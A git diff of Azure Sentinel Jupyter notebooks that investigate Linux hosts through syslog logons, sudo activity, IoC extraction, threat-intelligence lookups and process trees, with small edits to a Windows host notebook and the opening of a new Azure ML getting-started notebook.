\")\n", + " sudo_tl_data = {}\n", + " else:\n", + " sudo_start = sudo_events[sudo_events[\"SyslogMessage\"].str.contains(\n", + " \"pam_unix.+session opened\")].rename(columns={\"Sudoer\": \"User\"})\n", + " sudo_tl_data = {\"Host logons\": {\"data\": remote_logons, \"source_columns\": tooltip_cols, \"color\": \"Cyan\"},\n", + " \"Sudo sessions\": {\"data\": sudo_start, \"source_columns\": tooltip_cols, \"color\": \"Purple\"}}\n", + " try:\n", + " risky_actions = cmd_line.risky_cmd_line(events=sudo_events, log_type=\"Syslog\")\n", + " suspicious_events = cmd_speed(\n", + " cmd_events=sudo_events, time=60, events=2, cmd_field=\"Command\")\n", + " except:\n", + " risky_actions = None\n", + " suspicious_events = None\n", + " if risky_actions is None and suspicious_events is None:\n", + " pass\n", " else:\n", - " sudo_start = sudo_events[sudo_events[\"SyslogMessage\"].str.contains(\n", - " \"pam_unix.+session opened\")].rename(columns={\"Sudoer\": \"User\"})\n", - " sudo_tl_data = {\"Host logons\": {\"data\": remote_logons, \"source_columns\": tooltip_cols, \"color\": \"Cyan\"},\n", - " \"Sudo sessions\": {\"data\": sudo_start, \"source_columns\": tooltip_cols, \"color\": \"Purple\"}}\n", - " try:\n", - " risky_actions = cmd_line.risky_cmd_line(events=sudo_events, log_type=\"Syslog\")\n", - " suspicious_events = cmd_speed(\n", - " cmd_events=sudo_events, time=60, events=2, cmd_field=\"Command\")\n", - " except:\n", - " risky_actions = None\n", - " suspicious_events = None\n", - " if risky_actions is None and suspicious_events is None:\n", - " pass\n", + " risky_sessions = risky_sudo_sessions(\n", + " risky_actions=risky_actions, sudo_sessions=sudo_sessions, suspicious_actions=suspicious_events)\n", + " for key in risky_sessions:\n", + " if key in sudo_sessions:\n", + " sudo_sessions[f\"{key} - {risky_sessions[key]}\"] = sudo_sessions.pop(\n", + " key)\n", + " \n", + " if isinstance(sudo_events, pd.DataFrame):\n", + " sudo_events_val = sudo_events[['EventTime', 'CommandCall']][sudo_events['CommandCall']!=\"\"].dropna(how='any', subset=['CommandCall'])\n", + " if sudo_events_val.empty:\n", + " md(f\"No sucessful sudo activity for {hostname} between {logon_selection.value.get('Start (UTC)')} and {logon_selection.value.get('End (UTC)')}\")\n", " else:\n", - " risky_sessions = risky_sudo_sessions(\n", - " risky_actions=risky_actions, sudo_sessions=sudo_sessions, suspicious_actions=suspicious_events)\n", - " for key in risky_sessions:\n", - " if key in sudo_sessions:\n", - " sudo_sessions[f\"{key} - {risky_sessions[key]}\"] = sudo_sessions.pop(\n", - " key)\n", - "\n", - " if sudo_events.empty:\n", - " md(f\"No sucessful sudo activity for {hostname} between {logon_selection.value.get('Start (UTC)')} and {logon_selection.value.get('End (UTC)')}\")\n", + " sudo_events.replace(\"\", np.nan, inplace=True)\n", + " md('

Frequency of sudo commands

')\n", + " md('This shows how many times each command has been run with sudo. /bin/bash is usally associated with the use of \"sudo -i\"')\n", + " sudo_commands = (sudo_events[['EventTime', 'CommandCall']]\n", + " .groupby(['CommandCall'])\n", + " .count()\n", + " .dropna()\n", + " .style\n", + " .set_table_attributes('width=900px, text-align=center')\n", + " .background_gradient(cmap='Reds', low=.5, high=1)\n", + " .format(\"{0:0>3.0f}\"))\n", + " display(sudo_commands)\n", " else:\n", - " sudo_events.replace(\"\", np.nan, inplace=True)\n", - " display(HTML('

Frequency of sudo commands

'))\n", - " display(HTML('This shows how many times each command has been run with sudo. /bin/bash is usally associated with the use of \"sudo -i\"'))\n", - " sudo_commands = (sudo_events[['EventTime', 'CommandCall']]\n", - " .groupby(['CommandCall'])\n", - " .count()\n", - " .dropna()\n", - " .style\n", - " .set_table_attributes('width=900px, text-align=center')\n", - " .background_gradient(cmap='Reds', low=.5, high=1)\n", - " .format(\"{0:0>3.0f}\"))\n", - " display(sudo_commands)\n", + " md(f\"No sucessful sudo activity for {hostname} between {logon_selection.value.get('Start (UTC)')} and {logon_selection.value.get('End (UTC)')}\") \n", "\n", " # Display a timeline of all activity during session\n", " crn_tl_data.update(user_tl_data)\n", " crn_tl_data.update(sudo_tl_data)\n", - " display(HTML('

Session Timeline.

'))\n", - " nbdisplay.display_timeline(\n", - " data=crn_tl_data, title='Session Timeline', height=300)\n", + " if crn_tl_data:\n", + " md('

Session Timeline.

')\n", + " nbdisplay.display_timeline(\n", + " data=crn_tl_data, title='Session Timeline', height=300)\n", "else:\n", " md(\"No logon sessions during this timeframe\")" ] }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:53:44.065822Z", - "start_time": "2020-06-24T01:53:42.231Z" - } - }, - "outputs": [], - "source": [ - "# user_tl_data.is_na()\n", - "remote_logons.isna()\n", - "mod_events.isna()" - ] - }, { "cell_type": "markdown", "metadata": {}, @@ -841,7 +798,7 @@ }, "outputs": [], "source": [ - "if logon_sessions_df is not None:\n", + "if isinstance(logon_sessions_df, pd.DataFrame) and not logon_sessions_df.empty:\n", " #Return syslog data and present it to the use for investigation\n", " session_syslog = qry_prov.LinuxSyslog.all_syslog(\n", " start=session.StartTimeUtc, end=session.EndTimeUtc, host_name=session.Host)\n", @@ -855,7 +812,7 @@ " ['TimeGenerated', 'SyslogMessage', 'Sudoer', 'SudoTo', 'Command', 'CommandCall']])\n", "\n", " # Show syslog messages associated with selected sudo command\n", - " display(HTML(\"

View all messages assocated with a sudo command

\"))\n", + " md(\"

View all messages assocated with a sudo command

\")\n", " items = sudo_events['CommandCall'].dropna().unique().tolist()\n", " cmd_w = widgets.Dropdown(\n", " options=items, description='Select sudo command facility to examine', disabled=False, **WIDGET_DEFAULTS)\n", @@ -875,7 +832,7 @@ }, "outputs": [], "source": [ - "if logon_sessions_df is not None:\n", + "if isinstance(logon_sessions_df, pd.DataFrame) and not logon_sessions_df.empty:\n", " # Display syslog messages from the session witht he facility selected\n", " items = syslog_events['Facility'].dropna().unique().tolist()\n", " display(HTML(\"

View all messages assocated with a syslog facility

\"))\n", @@ -904,7 +861,7 @@ }, "outputs": [], "source": [ - "if logon_sessions_df is not None:\n", + "if isinstance(logon_sessions_df, pd.DataFrame) and not logon_sessions_df.empty:\n", " display(HTML(\"

Process Trees from session

\"))\n", " print(\"Building process tree, this may take some time...\")\n", " # Find the table with auditd data in\n", @@ -986,20 +943,6 @@ ">
or [ConfiguringNotebookEnvironment (GitHub static view)](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" ] }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-06-24T01:57:18.459849Z", - "start_time": "2020-06-24T01:57:16.216180Z" - } - }, - "outputs": [], - "source": [ - "tilookup = TILookup()" - ] - }, { "cell_type": "code", "execution_count": null, @@ -1012,6 +955,7 @@ "outputs": [], "source": [ "#Collect data associated with the sudo session selected\n", + "sudo_events = None\n", "from msticpy.sectools.tiproviders.ti_provider_base import TISeverity\n", "\n", "def ti_check_sev(severity, threshold):\n", @@ -1059,7 +1003,7 @@ " display(sudo_events[sudo_events['SyslogMessage'].str.contains(\n", " ioc)][['TimeGenerated', 'SyslogMessage']])\n", " else:\n", - " md(\"No IoC patterns found in Syslog Messages.\")\n", + " md(\"No IoC patterns found in Syslog Messages.\")\n", " else:\n", " md('No sudo messages for this session')\n", "\n", @@ -1145,12 +1089,12 @@ "if user_select is not None:\n", " # Get all syslog relating to these users\n", " username = user_select.value\n", - " user_events = all_syslog[all_syslog['SyslogMessage'].str.contains(username)]\n", + " user_events = all_syslog_data[all_syslog_data['SyslogMessage'].str.contains(username)]\n", " logon_sessions = cluster_syslog_logons_df(logon_events)\n", "\n", " # Display all logons associated with the user\n", - " display(HTML(f\"

User Logon Activity for {username}

\"))\n", - " user_logon_events = logon_events.loc[logon_events['User'] == username]\n", + " md(f\"

User Logon Activity for {username}

\")\n", + " user_logon_events = logon_events[logon_events['User'] == username]\n", " try:\n", " user_logon_sessions = cluster_syslog_logons_df(user_logon_events)\n", " except:\n", @@ -1187,69 +1131,65 @@ "\n", " nbdisplay.display_timeline(\n", " data=user_tl_data, title=\"User logon timeline\", height=300)\n", + " \n", + " all_user_df = pd.DataFrame(dict(successful= user_remote_logons['ProcessName'].value_counts(), failed = user_failed_logons['ProcessName'].value_counts())).fillna(0)\n", + " processes = all_user_df.index.values.tolist()\n", + " results = all_user_df.columns.values.tolist()\n", + " user_fail_sucess_data = {'processes' :processes,\n", + " 'sucess' : all_user_df['successful'].values.tolist(),\n", + " 'failure': all_user_df['failed'].values.tolist()}\n", "\n", " palette = viridis(2)\n", - " # Graph out failed/sucessful logons by account and by logon process\n", - " all_user_df = pd.DataFrame(dict(successful=user_remote_logons['ProcessName'].value_counts(\n", - " ), failed=user_failed_logons['ProcessName'].value_counts())).fillna(0).T\n", - "\n", - " user_processes = all_user_df.columns.values.tolist()\n", - "\n", - " fail_sucess_user_data = pd.DataFrame({'processes': user_processes,\n", - " 'sucess': all_user_df.loc['successful'].values.tolist(),\n", - " 'failure': all_user_df.loc['failed'].astype(int).values.tolist()})\n", - "\n", - " user_process_bar = fail_sucess_user_data.plot_bokeh.bar(\n", - " x=\"processes\", colormap=palette, show_figure=False, title=\"Failed and Sucessful logon attempts by process\")\n", - " user_logons = pd.DataFrame({\"Sucessful Logons\" : [int(all_user_df.loc['successful'].sum())],\n", - " \"Failed Logons\" : [int(all_user_df.loc['failed'].sum())]}).T\n", - "\n", - " user_ratio_pie =user_logons.plot_bokeh.pie(colormap = palette,\n", - " show_figure = False, title = \"Relative Frequencies of Sucessful Logons by Account\")\n", - "\n", - " pandas_bokeh.plot_grid([[user_ratio_pie, user_process_bar], \n", - " []], plot_width = 450, plot_height = 300)\n", - "\n", - "\n", - " # Convert logon IPs to IP entities in order to get location\n", - " ip_entity = entityschema.IpAddress()\n", + " x = [ (process, result) for process in processes for result in results ]\n", + " counts = sum(zip(user_fail_sucess_data['sucess'], fail_sucess_data['failure']), ()) \n", + " source = ColumnDataSource(data=dict(x=x, counts=counts))\n", + " b = figure(x_range=FactorRange(*x), plot_height=350, plot_width=450, title=\"Failed and Sucessful logon attempts by process\",\n", + " toolbar_location=None, tools=\"\", y_minor_ticks=2)\n", + " b.vbar(x='x', top='counts', width=0.9, source=source, line_color=\"white\",\n", + " fill_color=factor_cmap('x', palette=palette, factors=results, start=1, end=2))\n", + " b.y_range.start = 0\n", + " b.x_range.range_padding = 0.1\n", + " b.xaxis.major_label_orientation = 1\n", + " b.xgrid.grid_line_color = None\n", + " user_logons = pd.DataFrame({\"Sucessful Logons\" : [int(all_user_df['successful'].sum())],\n", + " \"Failed Logons\" : [int(all_user_df['failed'].sum())]}).T\n", + " user_logon_data = pd.value_counts(user_logon_events['LogonResult'].values, sort=True).head(10).reset_index(name='value').rename(columns={'User':'Count'})\n", + " user_logon_data = user_logon_data[user_logon_data['index']!=\"Unknown\"].copy()\n", + " user_logon_data['angle'] = user_logon_data['value']/user_logon_data['value'].sum() * 2*pi\n", + " user_logon_data['color'] = viridis(len(user_logon_data))\n", + " p = figure(plot_height=350, plot_width=450, title=\"Relative Frequencies of Failed Logons by Account\", toolbar_location=None, tools=\"hover\", tooltips=\"@index: @value\")\n", + " p.axis.visible = False\n", + " p.xgrid.visible = False\n", + " p.ygrid.visible = False\n", + " p.wedge(x=0, y=1, radius=0.5, start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'), line_color=\"white\", fill_color='color', legend='index', source=user_logon_data)\n", + " show(Row(p,b)) \n", " \n", - " user_ip_list = []\n", - " for ip_logon in user_remote_logons['SourceIP']:\n", - " user_ip_list.extend(convert_to_ip_entities(ip_logon))\n", - " user_ip_fail_list = []\n", - " for ip_logon in user_failed_logons['SourceIP']:\n", - " user_ip_fail_list.extend(convert_to_ip_entities(ip_logon))\n", - " \n", - " folium_user_map=FoliumMap(location=location, zoom_start=3)\n", - " if not user_ip_list and not user_ip_fail_list:\n", - " print(\"No user events\")\n", - " elif not user_ip_list and user_ip_fail_list:\n", - " icon_props={'color': 'red'}\n", - " folium_user_map.add_ip_cluster(ip_entities=user_ip_fail_list, **icon_props)\n", - " elif not user_ip_fail_list and user_ip_list:\n", - " icon_props = {'color': 'green'}\n", - " folium_user_map.add_ip_cluster(ip_entities=user_ip_list, **icon_props)\n", - " else:\n", + " user_ip_list = [convert_to_ip_entities(i)[0] for i in user_remote_logons['SourceIP']]\n", + " user_ip_fail_list = [convert_to_ip_entities(i)[0] for i in user_failed_logons['SourceIP']]\n", + " \n", + " user_location = get_map_center(ip_list + ip_fail_list)\n", + " user_folium_map = FoliumMap(location = location, zoom_start=1.4)\n", + " #Map logon locations to allow for identification of anomolous locations\n", + " if len(ip_fail_list) > 0:\n", + " md('

Map of Originating Location of Logon Attempts

')\n", " icon_props = {'color': 'red'}\n", - " folium_user_map.add_ip_cluster(ip_entities=user_ip_fail_list, **icon_props)\n", + " user_folium_map.add_ip_cluster(ip_entities=user_ip_fail_list, **icon_props)\n", + " if len(ip_list) > 0:\n", " icon_props = {'color': 'green'}\n", - " folium_user_map.add_ip_cluster(ip_entities=user_ip_list, **icon_props)\n", - "\n", - " folium_user_map.center_map()\n", - " display(HTML('

Map of Originating Location of Logon Attempts

'))\n", - " display(folium_user_map)\n", - "\n", - "\n", - "\n", + " user_folium_map.add_ip_cluster(ip_entities=user_ip_list, **icon_props)\n", + " display(user_folium_map.folium_map)\n", + " md('

Warning: the folium mapping library '\n", + " 'does not display correctly in some browsers.


'\n", + " 'If you see a blank image please retry with a different browser.') \n", + " \n", " #Display sudo activity of the user \n", " if not isinstance(user_sudo_events, pd.DataFrame) or user_sudo_events.empty:\n", - " display(HTML(f\"No sucessful sudo activity for {username}\"))\n", + " md(f\"

No sucessful sudo activity for {username}

\")\n", " else:\n", " user_sudo_hold = user_sudo_events\n", " user_sudo_commands = (user_sudo_events[['EventTime', 'CommandCall']].replace('', np.nan).groupby(['CommandCall']).count().dropna().style.set_table_attributes('width=900px, text-align=center').background_gradient(cmap='Reds', low=.5, high=1).format(\"{0:0>3.0f}\"))\n", " display(user_sudo_commands)\n", - " display(HTML(\"Select a sudo command to investigate in more detail\"))\n", + " md(\"Select a sudo command to investigate in more detail\")\n", " cmd = widgets.Dropdown(options=user_sudo_events['CommandCall'].replace(\n", " '', np.nan).dropna().unique().tolist(), description='Cmd:', disabled=False)\n", " display(widgets.interactive(view_sudo, cmd=cmd))\n", @@ -1269,8 +1209,8 @@ "outputs": [], "source": [ "# If the user has sudo activity extract and IOCs from the logs and look them up in TI feeds\n", - "if user_sudo_hold is not None or user_sudo_hold is not isinstance(user_sudo_hold, pd.DataFrame) or user_sudo_hold.empty:\n", - " print(f\"No sudo messages data\")\n", + "if not isinstance(user_sudo_hold, pd.DataFrame) or user_sudo_hold.empty:\n", + " md(f\"No sudo messages data\")\n", "else:\n", " # Extract IOCs\n", " ioc_extractor = iocextract.IoCExtract()\n", @@ -1282,7 +1222,7 @@ " ioc_types=['ipv4', 'ipv6', 'dns', 'url', 'md5_hash', 'sha1_hash', 'sha256_hash'])\n", " if len(ioc_df) > 0:\n", " ioc_count = len(ioc_df[[\"IoCType\", \"Observable\"]].drop_duplicates())\n", - " display(HTML(f\"Found {ioc_count} IOCs\"))\n", + " md(f\"Found {ioc_count} IOCs\")\n", " ti_resps = tilookup.lookup_iocs(data=ioc_df[[\"IoCType\", \"Observable\"]].drop_duplicates(\n", " ).reset_index(), obs_col='Observable', ioc_type_col='IoCType')\n", " i = 0\n", @@ -1294,13 +1234,13 @@ " i += 1\n", " else:\n", " i += 1\n", - " display(HTML(f\"Found {len(ti_hits)} IoCs in Threat Intelligence\"))\n", + " md(f\"Found {len(ti_hits)} IoCs in Threat Intelligence\")\n", " for ioc in ti_hits:\n", - " display(HTML(f\"Messages containing IoC found in TI feed: {ioc}\"))\n", + " md(f\"Messages containing IoC found in TI feed: {ioc}\")\n", " display(user_sudo_hold[user_sudo_hold['SyslogMessage'].str.contains(\n", " ioc)][['TimeGenerated', 'SyslogMessage']])\n", " else:\n", - " display(HTML(\"No IoC patterns found in Syslog Message.\"))" + " md(\"No IoC patterns found in Syslog Message.\")" ] }, { @@ -1337,7 +1277,7 @@ "outputs": [], "source": [ "# Get list of Applications\n", - "apps = all_syslog['ProcessName'].replace('', np.nan).dropna().unique().tolist()\n", + "apps = all_syslog_data['ProcessName'].replace('', np.nan).dropna().unique().tolist()\n", "system_apps = ['sudo', 'CRON', 'systemd-resolved', 'snapd',\n", " '50-motd-news', 'systemd-logind', 'dbus-deamon', 'crontab']\n", "if len(host_entity.Applications) > 0:\n", @@ -1362,72 +1302,29 @@ }, "outputs": [], "source": [ - "from bokeh.models import ColumnDataSource, RangeTool\n", - "from bokeh.plotting import figure, show, output_notebook\n", - "from bokeh.layouts import column\n", - "output_notebook()\n", "# Get all syslog relating to these Applications\n", "app = app_select.value\n", - "app_data = all_syslog.loc[all_syslog['ProcessName'] == app]\n", + "app_data = all_syslog_data[all_syslog_data['ProcessName'] == app].copy()\n", "\n", "# App log volume over time\n", "if isinstance(app_data, pd.DataFrame) and not app_data.empty:\n", " app_data_volume = app_data.set_index(\n", " \"TimeGenerated\").resample('5T').count()\n", - " source = ColumnDataSource(\n", - " data=dict(date=app_data_volume.index, count=app_data_volume['SyslogMessage']))\n", - " p = figure(plot_height=300, plot_width=900, tools=\"xpan\", toolbar_location=None,\n", - " x_axis_type=\"datetime\", x_axis_location=\"above\", y_minor_ticks=2,\n", - " title=\"Application syslog volume over time\",\n", - " background_fill_color=\"#efefef\", x_range=(app_data_volume.index[int(len(app_data_volume.index)*.33)], app_data_volume.index[int(len(app_data_volume.index)*.66)]))\n", - " p.line('date', 'count', source=source)\n", - " p.yaxis.axis_label = 'Message volume'\n", - " select = figure(title=\"Drag the middle and edges of the selection box to change the range above\",\n", - " plot_height=130, plot_width=900, y_range=p.y_range,\n", - " x_axis_type=\"datetime\", y_axis_type=None,\n", - " tools=\"\", toolbar_location=None, background_fill_color=\"#efefef\")\n", - " range_tool = RangeTool(x_range=p.x_range)\n", - " range_tool.overlay.fill_color = \"navy\"\n", - " range_tool.overlay.fill_alpha = 0.2\n", - " select.line('date', 'count', source=source)\n", - " select.ygrid.grid_line_color = None\n", - " select.add_tools(range_tool)\n", - " select.toolbar.active_multi = range_tool\n", - " show(column(p, select))\n", + " app_data_volume.reset_index(level=0, inplace=True)\n", + " app_data_volume.rename(columns={\"TenantId\" : \"NoOfLogMessages\"}, inplace=True)\n", + " nbdisplay.display_timeline_values(data=app_data_volume, y='NoOfLogMessages', source_columns=['NoOfLogMessages'], title=f\"{app} log volume over time\") \n", + " \n", " app_high_sev = app_data[app_data['SeverityLevel'].isin(\n", " ['emerg', 'alert', 'crit', 'err', 'warning'])]\n", - " if app_high_sev.empty:\n", - " print(f\"No high severity syslog messages for {app}\")\n", - " else:\n", - " app_high_sev = app_high_sev.set_index(\n", + " if isinstance(app_high_sev, pd.DataFrame) and not app_high_sev.empty:\n", + " app_hs_volume = app_high_sev.set_index(\n", " \"TimeGenerated\").resample('5T').count()\n", - " hs_source = ColumnDataSource(\n", - " data=dict(date=app_high_sev.index, count=app_high_sev['SyslogMessage']))\n", - " hs_p = figure(plot_height=300, plot_width=900, tools=\"xpan\", toolbar_location=None,\n", - " x_axis_type=\"datetime\", x_axis_location=\"above\", y_minor_ticks=2,\n", - " title=\"High Severity application syslog volume over time\",\n", - " background_fill_color=\"#FCF1CB\", x_range=(app_high_sev.index[int(len(app_high_sev.index)*.33)], app_high_sev.index[int(len(app_high_sev.index)*.66)]), y_range=(0, app_data_volume['SyslogMessage'].max()))\n", - " hs_p.line('date', 'count', source=hs_source, line_color='red')\n", - " hs_p.yaxis.axis_label = 'Message volume'\n", - " hs_select = figure(title=\"Drag the middle and edges of the selection box to change the range above\",\n", - " plot_height=130, plot_width=900, y_range=hs_p.y_range,\n", - " x_axis_type=\"datetime\", y_axis_type=None,\n", - " tools=\"\", toolbar_location=None, background_fill_color=\"#FCF1CB\")\n", - " hs_range_tool = RangeTool(x_range=hs_p.x_range)\n", - " hs_range_tool.overlay.fill_color = \"orange\"\n", - " hs_range_tool.overlay.fill_alpha = 0.2\n", - " hs_select.line('date', 'count', source=hs_source, line_color='red')\n", - " hs_select.ygrid.grid_line_color = None\n", - " hs_select.add_tools(hs_range_tool)\n", - " hs_select.toolbar.active_multi = hs_range_tool\n", - " show(column(hs_p, hs_select))\n", - "else:\n", - " display(HTML(\"No data for this application\"))\n", - "# Check for mallicious stuff\n", + " app_hs_volume.reset_index(level=0, inplace=True)\n", + " app_hs_volume.rename(columns={\"TenantId\" : \"NoOfLogMessages\"}, inplace=True)\n", + " nbdisplay.display_timeline_values(data=app_hs_volume, y='NoOfLogMessages', source_columns=['NoOfLogMessages'], title=f\"{app} high severity log volume over time\") \n", + "\n", "risky_messages = risky_cmd_line(events=app_data, log_type=\"Syslog\", cmd_field=\"SyslogMessage\")\n", - "if not risky_messages:\n", - " pass\n", - "else:\n", + "if risky_messages:\n", " print(risky_messages)" ] }, @@ -1475,6 +1372,7 @@ "audit_table = None\n", "app_audit_data = None\n", "app = app_select.value\n", + "process_tree_data = None\n", "regex = '.*audit.*\\_cl?'\n", "# Find the table with auditd data in and collect the data\n", "matches = ((re.match(regex, key, re.IGNORECASE)) for key in qry_prov.schema)\n", @@ -1507,12 +1405,6 @@ " )\n", " response = (input(\"Y/N\") or \"N\")\n", " \n", - "# app_audit_query = f\"\"\"{audit_table} \n", - "# | where TimeGenerated >= datetime({proc_invest_times.start}) \n", - "# | where TimeGenerated <= datetime({proc_invest_times.end}) \n", - "# | where Computer == '{hostname}'\n", - "# | where RawData contains \"sshd\"\n", - "# \"\"\"\n", " if (\n", " (count_check['count_'].iloc[0] < 100000)\n", " or (count_check['count_'].iloc[0] > 100000\n", @@ -1528,7 +1420,7 @@ " data=audit_data\n", " )\n", " \n", - " process_tree = auditdextract.generate_process_tree(audit_data=audit_events)\n", + " process_tree_data = auditdextract.generate_process_tree(audit_data=audit_events)\n", " plot_lim = 1000\n", " if len(process_tree) > plot_lim:\n", " md_warn(f\"More than {plot_lim} processes to plot, limiting to top {plot_lim}.\")\n", @@ -1537,11 +1429,13 @@ " process_tree.mp_process_tree.plot(legend_col=\"exe\")\n", " size = audit_events.size\n", " print(f\"Collected {size} rows of data\")\n", + " else:\n", + " md(\"No audit events avalaible\")\n", " else:\n", " print(\"Resize query window\")\n", " \n", "else:\n", - " display(HTML(\"No audit events avalaible\"))" + " md(\"No audit events avalaible\")" ] }, { @@ -1555,31 +1449,21 @@ }, "outputs": [], "source": [ - "display(HTML(f\"

Process tree for {app}

\"))\n", - "#Generate process tree with auditd data around the selected process\n", - "# from msticpy.sectools import auditdextract\n", - "# if isinstance(audit_events, pd.DataFrame) and not audit_events.empty:\n", - "# audit_events = auditdextract.extract_events_to_df(\n", - "# data=app_audit_data, input_column='RawData')\n", - "# if not audit_events[audit_events[\"exe\"].str.contains(app, na=False)].empty:\n", - "# procs = auditdextract.cluster_auditd_processes(audit_data=audit_events, app=app)\n", - "# display(Markdown(f'{len(procs)} process events'))\n", - "# process_tree = auditdextract.generate_process_tree(audit_data = audit_events, processes = procs)\n", - "# nbdisplay.display_process_tree(process_tree)\n", - "\n", - "# else:\n", - "# display(f\"No process tree data avaliable for {app}\")\n", - "# process_tree = None\n", - "if not process_tree[process_tree[\"exe\"].str.contains(app, na=False)].empty: \n", - " app_roots = process_tree[process_tree[\"exe\"].str.contains(app)].apply(lambda x: ptree.get_root(process_tree, x), axis=1)\n", - " trees = []\n", - " for root in app_roots[\"source_index\"].unique():\n", - " trees.append(process_tree[process_tree[\"path\"].str.startswith(root)])\n", - " app_proc_trees = pd.concat(trees)\n", - " app_proc_trees.mp_process_tree.plot(legend_col=\"exe\", show_table=True)\n", + "md(f\"

Process tree for {app}

\")\n", + "if process_tree_data is not None:\n", + " process_tree_df = process_tree_data[process_tree_data[\"exe\"].str.contains(app, na=False)].copy()\n", + " if not process_tree_df.empty: \n", + " app_roots = process_tree_data.apply(lambda x: ptree.get_root(process_tree_data, x), axis=1)\n", + " trees = []\n", + " for root in app_roots[\"source_index\"].unique():\n", + " trees.append(process_tree_data[process_tree_data[\"path\"].str.startswith(root)])\n", + " app_proc_trees = pd.concat(trees)\n", + " app_proc_trees.mp_process_tree.plot(legend_col=\"exe\", show_table=True)\n", + " else:\n", + " display(f\"No process tree data avaliable for {app}\")\n", + " process_tree = None\n", "else:\n", - " display(f\"No process tree data avaliable for {app}\")\n", - " process_tree = None" + " md(\"No data avaliable to build process tree\")" ] }, { @@ -1603,6 +1487,7 @@ "source": [ "# Extract IOCs from syslog assocated with the selected process\n", "ioc_extractor = iocextract.IoCExtract()\n", + "tilookup = TILookup()\n", "os_family = host_entity.OSType if host_entity.OSType else 'Linux'\n", "md('Extracting IoCs...')\n", "ioc_df = ioc_extractor.extract(data=app_data,\n", @@ -1611,7 +1496,7 @@ " ioc_types=['ipv4', 'ipv6', 'dns', 'url',\n", " 'md5_hash', 'sha1_hash', 'sha256_hash'])\n", "\n", - "if process_tree is not None and not process_tree.empty:\n", + "if process_tree_data is not None and not process_tree_data.empty:\n", " app_process_tree = app_proc_trees.dropna(subset=['cmdline'])\n", " audit_ioc_df = ioc_extractor.extract(data=app_process_tree,\n", " columns=['cmdline'],\n", @@ -1642,7 +1527,7 @@ " display(app_data[app_data['SyslogMessage'].str.contains(\n", " ioc)][['TimeGenerated', 'SyslogMessage']])\n", "else:\n", - " display(Markdown(\"### No IoC patterns found in Syslog Message.\"))" + " md(\"

No IoC patterns found in Syslog Message.

\")" ] }, { @@ -1685,7 +1570,7 @@ "ioc_extractor = iocextract.IoCExtract()\n", "os_family = host_entity.OSType if host_entity.OSType else 'Linux'\n", "print('Finding IP Addresses this may take a few minutes.......')\n", - "syslog_ips = ioc_extractor.extract(data=syslog_data,\n", + "syslog_ips = ioc_extractor.extract(data=all_syslog_data,\n", " columns=['SyslogMessage'],\n", " os_family=os_family,\n", " ioc_types=['ipv4', 'ipv6'])\n", @@ -1714,7 +1599,7 @@ " IPs = syslog_ips[['IoCType', 'Observable']].drop_duplicates('Observable')\n", " display(f\"Found {len(IPs)} IP Addresses assoicated with the host\")\n", "else:\n", - " display(Markdown(\"### No IoC patterns found in Syslog Message.\"))\n", + " md(\"### No IoC patterns found in Syslog Message.\")\n", " \n", "if az_ips is not None:\n", " ips = az_ips['PublicIps'].drop_duplicates(\n", @@ -1745,7 +1630,7 @@ " 'FlowType', 'AllExtIPs', 'L7Protocol', 'FlowDirection'],\n", " height=300)\n", "else:\n", - " print('No Azure network data for specified time range.')" + " md('

No Azure network data for specified time range.

')" ] }, { @@ -1768,7 +1653,6 @@ }, "outputs": [], "source": [ - "\n", "from functools import lru_cache\n", "from ipwhois import IPWhois\n", "from ipaddress import ip_address\n", @@ -1838,7 +1722,7 @@ " ti_hits = []\n", " while i < len(ti_resps):\n", " if ti_resps['Details'][i]['pulse_count'] > 0:\n", - " ti_hits.append(ti_resps['IoC'][i])\n", + " ti_hits.append(ti_resps['Ioc'][i])\n", " i += 1\n", " else:\n", " i += 1\n", @@ -1869,13 +1753,13 @@ "# Get all syslog for the IPs\n", "if ip_selection is not None:\n", " display(HTML(\"Syslog data associated with this IP Address\"))\n", - " sys_hits = all_syslog[all_syslog['SyslogMessage'].str.contains(\n", + " sys_hits = all_syslog_data[all_syslog_data['SyslogMessage'].str.contains(\n", " ip_selection.value)]\n", " display(sys_hits)\n", " os_family = host_entity.OSType if host_entity.OSType else 'Linux'\n", "\n", " display(HTML(\"TI result for this IP Address\"))\n", - " display(ti_resps[ti_resps['IoC'] == ip_selection.value])\n", + " display(ti_resps[ti_resps['Ioc'] == ip_selection.value])\n", "else:\n", " md(\"No IP address selected\")" ] @@ -1896,9 +1780,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -1910,7 +1794,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 39f900ca..223462fa 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -2119,9 +2119,9 @@ "hide_input": false, "history": [], "kernelspec": { - "display_name": "Python (condadev)", + "display_name": "Python 3.6", "language": "python", - "name": "condadev" + "name": "python36" }, "language_info": { "codemirror_mode": { @@ -2133,7 +2133,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.10" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Getting Started with Azure ML Notebooks.ipynb b/Getting Started with Azure ML Notebooks.ipynb new file mode 100644 index 00000000..a7894d08 --- /dev/null +++ b/Getting Started with Azure ML Notebooks.ipynb @@ -0,0 +1,840 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Getting Started with Azure ML Notebooks and Azure Sentinel\n", + "**Notebook Version:** 1.0
\n", + " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", + " **Required Packages**:
